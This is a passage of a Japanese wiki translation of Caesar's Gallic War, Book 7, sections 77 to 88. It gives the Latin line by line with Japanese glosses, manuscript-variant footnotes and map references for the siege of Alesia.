*Facere quod nostri maiores nequaquam pari bello Cimbrorum Teutonumque fecerunt: 
**我々の先祖たちが（今回とは）決して比べものにならない[[w:キンブリ・テウトニ戦争|キンブリ族・テウトニ族との戦争]]でしたことをするのだ。
*qui in oppida compulsi ac simili inopia subacti 
**彼ら（先祖たち）は、[[w:オッピドゥム|城塞都市]]に押し込められて、（今回と）似たような欠乏により衰弱させられて、
*eorum corporibus, qui aetate ad bellum inutiles videbantur, vitam toleraverunt 
**加齢により戦争に役立たないと思われた者たちの肉体（を食べること）によって、生命を持ちこたえて、
*neque se hostibus tradiderunt. 
**敵方に降伏しなかったのだ。
*⑬　Cuius rei si exemplum non haberemus, 
**もし、そういう事態の先例を我々が持たなかったとしても、
*tamen libertatis causa institui et posteris prodi pulcherrimum iudicarem. 
**けれども、自由のために、最も栄誉なことが決断され、子孫たちに伝えられることと、私は思いたい。
*⑭　Nam quid illi simile bello fuit? 
**実際、あの戦争に（今回と）似ている何があっただろうか？
*Depopulata Gallia Cimbri magnaque inlata calamitate 
**キンブリ族はガッリアを荒らしまわって、大きな災禍をもたらしたが、
*finibus quidem nostris aliquando excesserunt atque alias terras petierunt; 
**あるとき我々の領土から立ち去って、他の土地を求めて行った。
*iura, leges, agros, libertatem nobis reliquerunt. 
**権限、法度、耕地、自由を我々（ガッリア人）に残して行ったのだ。
*⑮　Romani vero quid petunt aliud aut quid volunt 
**しかし、ローマ人たちは（以下に挙げることの）他に何を求め、何を欲しているのだろうか。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：「しかし、ローマ人が求め、欲しているのは、以下のことである」の意。）&lt;/span&gt;
*nisi invidia adducti quos fama nobiles potentesque bello cognoverunt, 
**高貴で戦争に力強い（ガッリアの）者たちを名声で知って羨望に駆られた以外には、
*horum in agris civitatibusque considere atque his aeternam iniungere servitutem? 
**彼らの土地や部族共同体に居座って、彼らを永遠の隷属を課すること以外には。
*Neque enim ulla alia condicione bella gesserunt. 
**実際、（ローマ人は）他のいかなる条件でも決して戦争を遂行したことがなかった。
*⑯　Quodsi ea quae in longinquis nationibus geruntur ignoratis, 
**もし、遠方の種族のところでなされていることを（君らが）知らないのであれば、
*respicite finitimam Galliam, 
**ガッリアの隣人たちを見渡しなさい。
*quae in provinciam redacta, 
**（彼らはローマの）[[w:属州|属州]]になることを余儀なくされ、
*iure et legibus commutatis, 
**権限や法度を変えられて、
*securibus subiecta perpetua premitur servitute.&quot;
**（ローマの）権力に服属させられて、永久の隷属に苦しめられているのだ。

===78節===
'''マンドゥビイ族の投降をカエサルが拒む'''
*①　Sententiis dictis 
**（いくつかの）意見が述べられて、
*constituunt ut ii, qui valetudine aut aetate inutiles sunt&lt;ref&gt;sunt はα系写本の記述で、β系写本では sint となっている。&lt;/ref&gt; bello, oppido excedant 
**（ガッリア人たちは）健康または年齢により戦争に役立たない者たちは[[w:オッピドゥム|城塞都市]]を退去するように決めた。
*atque omnia prius experiantur quam ad Critognati sententiam descendant; 
**さらに、クリトグナトゥスの意見に同意するよりも、まずあらゆることを試みるように（決めた）。
*②　illo tamen potius utendum consilio, 
**けれども（以下の場合には）むしろ彼（クリトグナトゥス）の意見を実行するべきだ。
*si res cogat atque auxilia morentur, 
**もし、事態が強いて、援軍が遅滞させられるのならば、
*quam aut deditionis aut pacis subeundam condicionem. 
**降伏あるいは講和条件を受諾することよりも（クリトグナトゥスの意見を実行するべきだ）、と。
*③　Mandubii qui eos oppido receperant, 
**彼ら（ガッリア勢）を城塞都市に受け入れていたマンドゥビイ族は、
*cum liberis atque uxoribus exire coguntur. 
**子供たちや妻女たちとともに（城塞都市から）出て行くことを強いられた。
*④　Hi cum ad munitiones Romanorum accessissent, 
**彼らは、ローマ人たちの塁壁のところへ近づいたときに、
*flentes omnibus precibus orabant, ut se in servitutem receptos cibo iuvarent. 
**自分たちを奴隷として受け入れて食糧で助けてくれるように、泣きながらあらゆる懇願で頼んだ。
*⑤　At Caesar dispositis in vallo custodibus&lt;ref&gt;custodibus はα系写本の記述で、β系写本では custodiis となっている。&lt;/ref&gt; recipi prohibebat.
**だが、カエサルは、防柵の中に番兵を分けて置き、（マンドゥビイ族を）受け入れることを禁じた。

===79節===
'''ガッリア同盟軍の来援、アレスィアの歓呼'''
*①　Interea Commius reliquique duces, quibus summa imperii permissa erat, 
**その間に、最高司令権を任されていた[[w:コンミウス|コンミウス]]とほかの将帥たちが、
*cum omnibus copiis ad Alesiam perveniunt 
**すべての軍勢とともに[[w:アレシア|アレスィア]]の辺りへ到着して、
*et colle exteriore occupato 
**より外側の丘陵を占拠して、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：現在のミュスィ＝ラ＝フォス村 [[w:fr:Mussy-la-Fosse|Mussy-la-Fosse]]&lt;ref&gt;[http://maps.google.com/maps?q=47.521944,4.438611&amp;hl=fr&amp;ie=UTF8&amp;ll=47.522012,4.438648&amp;spn=0.01849,0.027423&amp;t=h&amp;z=15 Google map]を参照。&lt;/ref&gt; のある丘陵であると思われる。）&lt;/span&gt;
*non longius mille passibus ab nostris munitionibus considunt. 
**我が方（ローマ勢）の塁壁から1ローママイル（約1.5km）ほども遠くないところに陣取った。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：現在のヴナレ＝レ＝ローム [[w:fr:Venarey-les-Laumes|Venarey-les-Laumes]] 市街&lt;ref&gt;[http://maps.google.com/maps?q=47.542778,4.445833&amp;hl=fr&amp;ie=UTF8&amp;ll=47.543106,4.458475&amp;spn=0.036965,0.054846&amp;t=h&amp;z=14 Google map]を参照。&lt;/ref&gt;の周辺であると思われる。）&lt;/span&gt;
*②　Postero die equitatu ex castris educto 
**翌日に、[[w:騎兵|騎兵隊]]が陣営から進発させられて、
*omnem eam planitiem quam in longitudinem milia passuum III(tria)&lt;ref&gt;milia passuum III はβ系写本の記述で、α系写本では quattuor milia passuum などとなっている。&lt;/ref&gt; patere demonstravimus, complent 
**3ローママイル（約4.5km）の長さにわたり広がっていることを既述した平地のすべてを、満たした。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：[[#69節|69節]]を参照。現在のローム平原に当たると思われる。）&lt;/span&gt;
*pedestresque copias paulum ab eo loco abditas in locis superioribus constituunt. 
**[[w:歩兵|歩兵]]の軍勢を、その地からいくらか遠ざけて、より高いところに駐留させた。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：上記の丘陵のより高い所であると思われる。）&lt;/span&gt;
*③　Erat ex oppido Alesia despectus in campum. 
**アレスィアの[[w:オッピドゥム|城塞都市]]からは（その）平地に眺望があった。
*Concurrunt&lt;ref&gt;concurrunt はα系写本の記述で、β系写本では concurritur となっている。&lt;/ref&gt; his auxiliis visis; 
**これらの援軍が現われると（アレスィアのガッリア人たちは）群がり集まった。
*fit gratulatio inter eos 
**彼らの間で祝賀がなされて、
*atque omnium animi ad laetitiam excitantur. 
**皆の心が喜びへと鼓舞された。
*④　Itaque productis copiis ante oppidum considunt 
**こうして（アレスィアの）軍勢が出撃させられて、城塞都市の前に陣取って、
*et proximam fossam cratibus integunt atque aggere explent 
**最も近い堀を、柴で蔽って、土砂を充満させて、
*seque ad eruptionem atque omnes casus comparant.
**突撃やあらゆる有事に戦備を整えた。

===80節===
'''ゲルマニア騎兵らローマ勢が来援ガッリア騎兵をも打ち破る'''
*①　Caesar omni exercitu ad utramque partem munitionum&lt;ref&gt;munitionum はα系写本の記述で、β系写本では munitionis となっている。&lt;/ref&gt; disposito, 
**カエサルは、すべての[[w:歩兵|歩兵隊]]を、塁壁の（内周と外周）両側に分けて置き、
*ut, si usus veniat, suum quisque locum teneat et noverit, 
**もし、必要が生じたら、おのおのが自らの部署を知って固守するようにした。
*equitatum ex castris educi et proelium committi iubet. 
**[[w:騎兵|騎兵隊]]を陣営から進発させて、交戦することを命じた。
*②　Erat ex omnibus castris, quae summum undique iugum tenebant, despectus 
**至る所で尾根の頂きを占めていた（ローマ勢の）すべての陣営から（騎兵戦の）眺望があった。
*atque omnes milites intenti&lt;ref&gt;intenti はα系写本の記述で、β系写本では intenti animi、Fuchs は intentis animis と修正提案している。&lt;/ref&gt; pugnae proventum&lt;ref&gt;pugnae proventum はα系写本の記述で、β系写本では proventum pugnae となっている。&lt;/ref&gt; exspectabant. 
**すべての兵士たちは（観戦に）没頭して、戦いの結果を待っていた。
*③　Galli inter equites raros sagittarios expeditosque levis armaturae interiecerant, 
**ガッリア人たちは、弓兵たちと軽装歩兵たちをまばらに、騎兵たちの間に置いていて、
*qui suis cedentibus auxilio succurrerent 
**その者たち（弓兵と軽装歩兵）は、味方が後退するのを支援するために馳せ寄って、
*et nostrorum equitum impetus sustinerent. 
**我が方（ローマ勢）の騎兵の突撃に持ちこたえていた。
*Ab his complures de improviso vulnerati proelio excedebant. 
**彼らによって（ローマ側騎兵の）かなりの者たちが、思いがけず負傷させられて、戦闘から退いた。
*④　Cum suos pugna superiores esse Galli confiderent 
**ガッリア人たちが、味方が戦いで優勢であることを確信したとき、
*et nostros multitudine premi viderent, 
**かつ、我が方（ローマ勢）が多勢（のガッリア騎兵）により圧倒されているのを見て取ったときに、
*ex omnibus partibus et ii qui munitionibus continebantur 
**あらゆる方面から（ローマ勢の）塁壁によって囲まれていた者たちも、
*et hi&lt;ref&gt;hi はφ系･β系写本の記述で、χ系写本では ii となっている。&lt;/ref&gt; qui ad auxilium convenerant 
**（アレスィア）救援のために集結して来ていた者たちも、
*clamore et ululatu suorum animos confirmabant. 
**大声やわめき声によって味方の闘志を強めた。
*⑤　Quod in conspectu omnium res gerebatur 
**（両軍の）皆の環視の中で合戦が遂行されたので、
*neque recte ac&lt;ref&gt;ac はα系･π系写本の記述で、ρ系写本では aut となっている。&lt;/ref&gt; turpiter factum celari poterat, 
**立派な行為または見苦しい行為も隠されることができなかったので、
*utrosque et laudis cupiditas et timor ignominiae ad virtutem excitabant&lt;ref&gt;excitabant はB･M･L･N･R写本などの記述で、χ系･B･S･π系･U写本などでは excitabat となっている。&lt;/ref&gt;. 
**賞賛への功名心も、不名誉への恐れも、双方を武勇へと駆り立てた。
*⑥　Cum a meridie prope ad solis occasum dubia victoria pugnaretur, 
**正午から、ほぼ日没の頃まで、勝利が不確実なまま戦われていたときに、
*Germani una in parte confertis turmis 
**ゲルマニア人たちが、騎兵部隊を一か所に密集させて、
*in hostes impetum fecerunt eosque propulerunt; 
**敵方に突撃を行ない、彼ら（ガッリア騎兵）を駆逐した。
*⑦　quibus in fugam coniectis 
**その者たち（ガッリア騎兵）は逃亡に追いやられて、
*sagittarii circumventi interfectique sunt. 
**弓兵たちは包囲されて殺戮された。
*⑧　Item ex reliquis partibus nostri cedentes usque ad castra insecuti 
**我が方（ローマ勢）の残りの部隊も、撤退する（ガッリア騎兵の）者たちを陣営のところまで追撃して、
*sui colligendi facultatem non dederunt. 
**立ち直る機会を与えなかった。
*⑨　At ii qui ab [[w:la:Alesia|Alesia]] processerant, 
**そして、[[w:アレシア|アレスィア]]から進み出ていた者たちは、
*maesti prope victoria desperata se in oppidum receperunt.
**ほとんど絶望的な勝利に悲嘆して、城塞都市に退却した。

===81節===
'''ガッリア来援軍と籠城軍がローマ陣地に夜襲をしかける'''
*①　Uno die intermisso Galli 
**ガッリア人たちは一日を間に置いて、
*atque hoc spatio magno cratium, scalarum, harpagonum numero effecto 
**この間に、多数の柴、[[w:梯子|梯子]]、鉤竿を調達して、
*media nocte silentio ex castris egressi 
**真夜中に静けさのうちに陣営から進発して、
*ad campestres munitiones accedunt. 
**平地の（ローマ勢の）塁壁の辺りへ近づいた。
*②　Subito clamore sublato, qua significatione 
**突然に雄叫びを上げて、それを合図として、
*qui in oppido obsidebantur de suo adventu cognoscere possent, 
**[[w:オッピドゥム|城塞都市]]の中に包囲されている者たちが、自分たちの到来について認識できるようにした。
*crates proicere, fundis, sagittis, lapidibus nostros de vallo proturbare 
**柴を投げ込み、投石器で、矢で、石でもって我が方（ローマ勢）を防柵から追い出すこと、
*reliquaque quae ad oppugnationem pertinent parant administrare. 
**（塁壁の）攻略のために役立つほかのことに従事すること、を目論んだ。
*③　Eodem tempore clamore exaudito 
**同時に（来援軍の）雄叫びを聞き取って、
*dat tuba signum suis [[w:la:Vercingetorix|Vercingetorix]] atque ex oppido educit. 
**[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]は、麾下の者たちにラッパで指図を与えて、城塞都市から進発させた。
*④　Nostri, ut superioribus diebus, suus cuique&lt;ref&gt;suus cuique はβ系写本の記述で、χ系･B･M･S写本では ut cuique となっている。&lt;/ref&gt; erat locus attributus, ad munitiones accedunt; 
**我が方（ローマ勢）は、以前の日々に、おのおのの部署が割り当てられており、塁壁のところへ近寄った。
*fundis librilibus sudibusque, quas in opere disposuerant, ac glandibus Gallos proterrent. 
**堡塁に分配されていたポンド投石器や杭、並びに玉によって、ガッリア人たちを追い払った。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：librilis funda「ポンド投石器」；古代ローマの1ポンド [[w:la:Libra pondus|libra]] は約327グラム&lt;ref&gt;[[w:en:Ancient Roman units of measurement#Weight]]を参照。&lt;/ref&gt;。）&lt;/span&gt;
*⑤　Prospectu tenebris adempto multa utrimque vulnera accipiuntur. 
**眺望が暗闇により奪われて、双方が多くの傷を蒙った。
*Complura tormentis tela coniciuntur. 
**かなり多くの飛び道具が（巻上式）投石機によって投じられた。
*⑥　At [[w:la:Marcus Antonius|M.(Marcus) Antonius]] et [[w:la:Gaius Trebonius|C.(Gaius) Trebonius]] legati, 
**[[w:マルクス・アントニウス|マルクス・アントニウス]]と[[w:ガイウス・トレボニウス|ガイウス・トレボニウス]] [[w:レガトゥス|両副官]]は、
*quibus hae partes ad defendendum obvenerant, 
**この方面を防衛するために割り当てられていたが、
*qua ex parte nostros premi intellexerant, 
**我が方（ローマ勢）が押されぎみであると見なした一帯のために、
*his auxilio ex ulterioribus castellis deductos submittebant.
**この者たちを支援するために、向こう側の砦から引き出した者たちを（援兵として）派遣した。

===82節===
'''アレスィア内外のガッリア勢が障害物に阻まれて退く'''
*①　Dum longius ab munitione aberant Galli, 
**ガッリア人たちは（ローマ勢の）塁壁から遠くに離れていた間は、
*plus multitudine telorum proficiebant; 
**飛び道具の多さによって、前進していた。
*posteaquam propius successerunt, 
**（塁壁の方へ）さらに近くに進入して来た後では、
*aut se ipsi&lt;ref&gt;ipsi はβ系写本の記述で、α系写本にはない。&lt;/ref&gt; stimulis inopinantes induebant 
**あるいは、思いがけず自ら「刺」に陥り、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：stimulus「刺」については、[[#73節|73節]]⑨項を参照。）&lt;/span&gt;
*aut in scrobes delati transfodiebantur 
**あるいは、穴に陥落して（「百合」で）突き刺されたり、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：「穴」と「百合」については、[[#73節|73節]]⑤～⑧項を参照。）&lt;/span&gt;
*aut ex vallo ac turribus traiecti pilis muralibus interibant. 
**あるいは、防柵や櫓から[[w:ピルム・ムーリアリス|防壁槍]]で射抜かれて逝った。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：防壁槍については、[[ガリア戦記 第5巻#40節|第5巻40節]]を参照。）&lt;/span&gt;
*②　Multis undique vulneribus acceptis 
**（ガッリア勢は）至る所で多くの傷を負ったが、
*nulla munitione perrupta, 
**どの（ローマ側の）塁壁も突破されなかった。
*cum lux appeteret, 
**&lt;ruby&gt;&lt;rb&gt;暁光&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ぎょうこう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;が（空を）染めたとき、
*veriti ne ab latere aperto ex superioribus castris eruptione circumvenirentur, 
**開けた側面から、（ローマ勢の）高所の陣営からの突撃によって包囲されないようにと怖れて、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：開けた側面とは、盾で守られていない右側のこと。）&lt;/span&gt;
*se ad suos receperunt. 
**味方のところへ退却した。
*③　At interiores 
**それに対して、（アレスィア攻囲の）内側の者たちは、
*dum ea quae a [[w:la:Vercingetorix|Vercingetorige]] ad eruptionem praeparata erant&lt;ref&gt;praeparata erant は、写本(ω)ではpraeparaverant だが、このように修正提案されている。あるいは、a Vercingetorige が削除提案されている。&lt;/ref&gt; proferunt, 
**[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]により、突撃のために準備していたものを運び出して
*priores fossas explent, 
**一番前の堀を埋めている間に、
*diutius in his rebus administrandis morati 
**これらの事に従事することに、より長く妨げられて、
*prius suos discessisse cognoverunt quam munitionibus adpropinquarent. 
**塁壁に近づくよりも前に味方（＝来援軍）が退去したことを知ったのだ。
*Ita re infecta in oppidum reverterunt.
**こうして、事は達成されていないものの、[[w:オッピドゥム|城塞都市]]に引き返した。

===83節===
'''ウェルカッスィウェッラウヌスが兵6万を率いて急所の丘へ向かう'''
*①　Bis magno cum detrimento repulsi Galli 
**大きな損害とともに二度も撃退されたガッリア人たちは、
*quid agant consulunt; 
**何をなすべきかを協議した。
*locorum peritos adhibent; 
**（その）土地に熟知した者たちを招いた。
*ex his superiorum castrorum situs munitionesque cognoscunt. 
**この者たちから、（ローマ勢の）高いところの陣営の位置や塁壁を調べ上げた。
*②　Erat a septentrionibus collis, 
**（アレスィアの）北方に丘陵があって、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：これは現在のレア山 le Mont R&amp;eacute;a であると思われ、山頂にはメネルー＝ル＝ピトワ村&lt;ref&gt;[[w:fr:Ménétreux-le-Pitois]]や[http://maps.google.fr/maps?f=q&amp;hl=fr&amp;geocode=&amp;q=m%C3%A9n%C3%A9treux+le+pitois&amp;sll=42.423457,8.789063&amp;sspn=23.611541,40.957031&amp;ie=UTF8&amp;t=h&amp;hq=&amp;hnear=M%C3%A9n%C3%A9treux-le-Pitois,+C%C3%B4te-d'Or,+Bourgogne&amp;ll=47.55475,4.460106&amp;spn=0.018507,0.010042&amp;z=15 Google map]などを参照。&lt;/ref&gt;がある。）&lt;/span&gt;
*quem propter magnitudinem circuitus 
**その周囲の大きさのために、
*opere circumplecti non potuerant nostri, 
**我が方（ローマ勢）は、堡塁により囲い込むことができずにいた。
*necessarioque&lt;ref&gt;-que はβ系写本の記述で、α系写本にはない。&lt;/ref&gt; paene iniquo loco et leniter&lt;ref&gt;leniter はπ系写本の記述で、α系･ρ系写本では leviter となっている。&lt;/ref&gt; declivi castra fecerunt&lt;ref&gt;fecerunt はα系写本の記述で、β系写本では fecerant となっている。&lt;/ref&gt;. 
**やむをえず、ほとんど不利でゆるやかに傾斜した地点に陣営を造った。
*③　Haec C.(Gaius) Antistius Reginus et C.(Gaius) Caninius Rebilus legati 
**これを、ガーイウス・アンティスティウス・レーギーヌスとガイウス・カニニウス・レビルス [[w:レガトゥス|両副官]]が
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：''[[w:fr:Caius Antistius Reginus|Gaius Antistius Reginus]]'' は[[ガリア戦記_第6巻#1節|第6巻1節]]で既出。[[#90節|90節]]で後出。）&lt;/span&gt;
*cum duabus legionibus obtinebant. 
**2個軍団とともに占めていた。
*④　Cognitis per exploratores regionibus duces hostium 
**敵方の将帥たちは、偵察者たちを通じて一帯を調べ上げて、
*LX(sexaginta) milia ex omni numero deligunt 
**総員のうちから6万名を選抜した。
*earum civitatum quae maximam virtutis opinionem habebant; 
**武勇において大きな評判を得ている部族のうち（から選抜した）。
*⑤　quid quoque pacto agi placeat, occulte inter se constituunt; 
**何が、どんな方法で行なわれるのがよいか、互いに密かに取り決めた。
*adeundi tempus definiunt, cum meridie&lt;ref&gt;meridie は中世の写本(ω)の記述であるが、近世の写本(ς)では meridies となっている。&lt;/ref&gt; esse videatur. 
**正午であると思われる頃を突撃する時と定めた。
*⑥　His copiis Vercassivellaunum Arvernum, 
**この軍勢を、[[w:アルウェルニ族|アルウェルニー族]]のウェルカッスィウェッラウヌス、
*unum ex quattuor ducibus, propinquum [[w:la:Vercingetorix|Vercingetorigis]], praeficiunt. 
**（すなわち）4人の将帥たちの1人で、[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]の親族である者に、指揮させた。
*⑦　Ille ex castris prima vigilia egressus 
**彼（ウェルカッスィウェッラウヌス）は、陣営から第一夜警時に進発して、
*prope confecto sub lucem itinere 
**夜明け前にほぼ行軍が成し遂げられて、
*post montem se occultavit 
**山の後ろに身を隠して、
*militesque ex nocturno labore sese reficere iussit. 
**兵士たちに夜間の疲労を回復しておくことを命じた。
*⑧　Cum iam meridies adpropinquare videretur, 
**すでに正午に近付いていると思われたときに、
*ad ea castra, quae supra demonstravimus, contendit; 
**前に述べた陣営のところへ急いだ。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：本節②項を参照。）&lt;/span&gt;
*eodemque tempore equitatus ad campestres munitiones accedere 
**同時に（ガッリア来援軍の）[[w:騎兵隊|騎兵隊]]が平地の（ローマ勢の）塁壁のところへ近付き、
*et reliquae copiae pro castris sese ostendere coeperunt.
**残りの軍勢が陣営の前に姿を現わし始めた。

===84節===
'''ウェルキンゲトリークスらアレスィア籠城軍も善戦する'''
*①　[[w:la:Vercingetorix|Vercingetorix]] ex arce [[w:la:Alesia|Alesiae]] suos conspicatus ex oppido egreditur; 
**[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]は、[[w:アレシア|アレスィア]]の高台から味方を望見して、[[w:オッピドゥム|城塞都市]]から進発した。
*a castris&lt;ref&gt;a castris はβ系写本の記述で、α系写本では単に castris となっている。&lt;/ref&gt;, longurios, musculos, falces 
**陣営から、長い竿、小屋、破城鎌や、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：falx「破城鎌」については、[[ガリア戦記 第5巻#42節|第5巻42節]]を参照。）&lt;/span&gt;
*reliquaque quae eruptionis causa paraverat profert. 
**（塁壁を）突破するために準備していたほかのものを運び出した。
*②　Pugnatur uno tempore omnibus locis atque omnia temptantur; 
**一時にあらゆる場所で戦われて、あらゆることが試みられた。
*quae minime visa pars firma est, huc concurritur. 
**あまり堅固ではないと思われる部分、ここへ襲いかかった。
*③　Romanorum manus tantis munitionibus distinetur 
**ローマ人の手勢は、これほどの（長大な）塁壁により離して置かれていて、
*nec facile pluribus locis occurrit. 
**より多くの場所には容易に駆け付けられなかった。
*④　Multum ad terrendos nostros valet clamor qui post tergum pugnantibus exstitit, 
**戦っている者たちの背後で生じた雄叫びは、我が方（ローマ勢）を怖れさせるために大いに力があった。
*quod suum periculum in aliena vident virtute&lt;ref&gt;virtute「武勇」 はβ系写本の記述で、α系写本では salute「安全」 となっている。&lt;/ref&gt; constare; 
**というのは、自分たち（ローマ勢）の危険が他人（ガッリア勢）の武勇に依拠していると思ったから。
*omnia enim plerumque, quae absunt, vehementius hominum mentes perturbant.
**なぜなら（そこに）不在であるものすべてはたいてい、人間の心を激しく混乱させるものであったからである。

===85節===
'''ウェルカッスィウェッラウヌスが急所の丘を攻める'''
*①　Caesar idoneum locum nactus 
**カエサルは適当な場所を得て，
*quid quaque in&lt;ref&gt;quaque in はβ系写本の記述で、α系写本では qua ex となっている。&lt;/ref&gt; parte geratur cognoscit; 
*何が各方面でなされているのかを認識した。
*laborantibus submittit. 
**苦戦している者たちに（援兵を）派遣した。
*②　Utrisque ad animum occurrit unum esse illud tempus, quo maxime contendi conveniat: 
**双方にとって、最も雌雄を決するべきはこの時のみであるということが、心に生じた。
*③　Galli, nisi perfregerint munitiones, de omni salute desperant; 
**ガッリア人たちは、（ローマ人の）塁壁を突破しない限り、あらゆる身の安全に絶望することになる。
*Romani, si rem obtinuerint, finem laborum omnium exspectant. 
**ローマ人は、もし事を成就したら、すべての労苦の終わるということを期待した。
*④　Maxime ad superiores munitiones laboratur, quo [[w:la:Vercassivellaunus|Vercassivellaunum]] missum demonstravimus. 
**ウェルカッスィウェッラウヌスが派遣されたと既述した、より高い塁壁の辺りで（ローマ勢は）とりわけ苦戦した。
*Iniquum loci ad declivitatem fastigium magnum habet momentum. 
**けわしい地形の不利な傾斜が（ローマ勢にとって）大きな影響力を持った。
*⑤　Alii tela coniciunt, alii testudine facta subeunt; 
**（ガッリア勢の）ある者は飛び道具を投げやって、ある者は[[w:テストゥド|亀甲陣形]]を形成して突き進んだ。
*defatigatis invicem integri succedunt. 
**疲労させられた者たちに対しては、新手の者たちが交代した。
*⑥　Agger ab universis in munitionem coniectus 
**土が総勢により（ローマ人の）塁壁に投じられて、
*et ascensum dat Gallis 
**ガッリア人たちに登り道を与えもしたし、
*et ea, quae in terra occultaverant Romani, contegit; 
**ローマ人たちが地中に隠しておいたもの（障害物）を埋め込んでしまった。
*nec iam arma nostris nec vires suppetunt.
**我が方（ローマ勢）には、もはや武器も活力も十分になかった。

===86節===
'''危急存亡の秋、両軍の苦闘'''
*①　His rebus cognitis 
**これらの事態を知って、
*Caesar [[w:la:Titus Labienus|Labienum]] cum cohortibus sex subsidio laborantibus mittit; 
**カエサルは、[[w:ティトゥス・ラビエヌス|ラビエーヌス]]を6個&lt;ruby&gt;&lt;rb&gt;[[w:コホルス|歩兵大隊]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;コホルス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;とともに援兵として苦戦している者たちへ派遣した。
*②　imperat, si sustinere non possit&lt;ref&gt;possit はχ系･B･M･S･β系写本の記述で、L･N写本では posset となっている。&lt;/ref&gt;, deductis cohortibus eruptione pugnaret&lt;ref&gt;pugnaret はα系写本の記述で、β系写本では pugnet となっている。&lt;/ref&gt;; 
**もし（塁壁の防衛が）持ちこたえられなかったならば、諸大隊を引率して突撃によって戦うように、と命令していた。
*id nisi necessario ne faciat. 
**それは、やむをえないのでなければ行なわないように（と命じていた）。
*③　Ipse adit reliquos, cohortatur ne labori succumbant; 
**（カエサル）自身は、ほかの者たちを訪れて、労苦に屈服しないようにと鼓舞した。
*omnium superiorum dimicationum fructum in eo die atque hora docet consistere. 
**これまでのあらゆる奮闘の結実がこの日、この時にかかっていることを説いた。
*④　Interiores desperatis campestribus locis propter magnitudinem munitionum 
**（アレスィアに包囲されている）内側の者たちは、塁壁の大規模さのために、平坦な地点（での突破）を断念して、
*loca praerupta ex ascensu temptant; 
**けわしい場所を登り坂から攻撃してみた。
*huc ea quae paraverant conferunt. 
**ここに、準備していたものを運び集めた。
*⑤　Multitudine telorum ex turribus propugnantes deturbant, 
**たくさんの飛び道具によって、防戦している者たちを櫓から駆逐した。
*aggere et cratibus fossas explent, 
**土砂や柴で堀を埋めて、
*falcibus vallum ac loricam rescindunt.
**破城鎌によって防柵や胸壁を切り裂いた。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：falx「破城鎌」については、[[ガリア戦記 第5巻#42節|第5巻42節]]を参照。）&lt;/span&gt;

===87節===
'''カエサルの救援、ラビエーヌスの作戦'''
*①　Mittit primo&lt;ref&gt;primo はφ系･ρ系写本の記述で、χ系･π系写本では primum となっている。&lt;/ref&gt; [[w:la:Decimus Iunius Brutus Albinus|Brutum adulescentem]] cum cohortibus Caesar, 
**カエサルは、初めに[[w:デキムス・ユニウス・ブルトゥス・アルビヌス|青年ブルトゥス]]を諸&lt;ruby&gt;&lt;rb&gt;[[w:コホルス|歩兵大隊]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;コホルス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;とともに派遣して、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：デキムス・ブルトゥスには[[ガリア戦記 第3巻#14節|第3巻14節]]で艦隊を、本巻[[#9節|9節]]②項では騎兵隊を指揮させている。）&lt;/span&gt;
*post cum aliis C.(Gaium) Fabium legatum; 
**後に副官のガイウス・ファビウスをほかの隊とともに（派遣した）。
*postremo ipse, cum vehementius pugnaretur, 
**最後には（カエサル）自身が、激しく戦われていたので、
*integros subsidio adducit. 
**新手の者たちを援兵として率いて行った。
*②　Restituto proelio ac repulsis hostibus 
**戦況が回復され、敵方が撃退されると、
*eo quo Labienum miserat contendit; 
**ラビエーヌスを派遣していたところに急いだ。
*cohortes IIII(quattuor) ex proximo castello deducit, 
**近隣の砦から4個歩兵大隊を引き出して、
*equitum partem se&lt;ref&gt;se はβ系写本の記述で、α系写本にはない。&lt;/ref&gt; sequi, 
**[[w:騎兵|騎兵]]のある一部には、自らに随行することを、
*partem circumire exteriores munitiones et ab&lt;ref&gt;ab はα系写本の記述で、β系写本では a となっている。&lt;/ref&gt; tergo hostes adoriri iubet. 
**別の一部には、外側の塁壁を取り囲んで、敵方を背後から襲撃することを命じた。
*③　Labienus, postquam neque aggeres neque fossae vim hostium sustinere poterant, 
**ラビエーヌスは、土塁も堀も敵方の武力に持ちこたえることができなかった後で、
*coactis una XL(quadraginta) cohortibus, quas ex proximis praesidiis deductas fors obtulit, 
**近隣の宿営地から、はからずも引き出しておいた40個歩兵大隊を集結させて、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：この数は、写本によって異なり、モイゼルらは undecim「11個」と提案している。）&lt;/span&gt;
*Caesarem per nuntios facit certiorem, quid faciendum existimet. 
**何がなされるべきと考えたのかを、カエサルに伝令を通じて報告した。
*Accelerat Caesar, ut proelio intersit.
**カエサルは、戦闘（の場）に居合わせるように急いで行った。

===88節===
'''雌雄決し、ガッリア来援軍が敗走'''
*①　Eius adventu ex colore vestitus cognito, quo insigni in proeliis uti consuerat, 
**彼（カエサル）の到来が、（彼が）戦闘において目印として用いるのが常であった衣服の色から認識され、
